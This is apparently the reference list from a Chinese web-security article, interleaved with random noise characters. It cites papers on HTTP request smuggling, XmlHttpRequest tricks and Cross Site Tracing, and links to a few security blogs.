"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
( j9 ~: m* o( j# wOther XmlHttpRequest tricks (Amit Klein, January 2003)
  i+ |; |  ]6 D. b# `4 A"Cross Site Tracing" (Jeremiah Grossman, January 2003)
2 }0 ^, _! Q4 E8 H, n6 n' qhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
) K- j4 B, D( a, I, g) J- V8 VXeye Team http://xeye.us/
7 L) m" m) Q! O# S; x0 [9 v8 v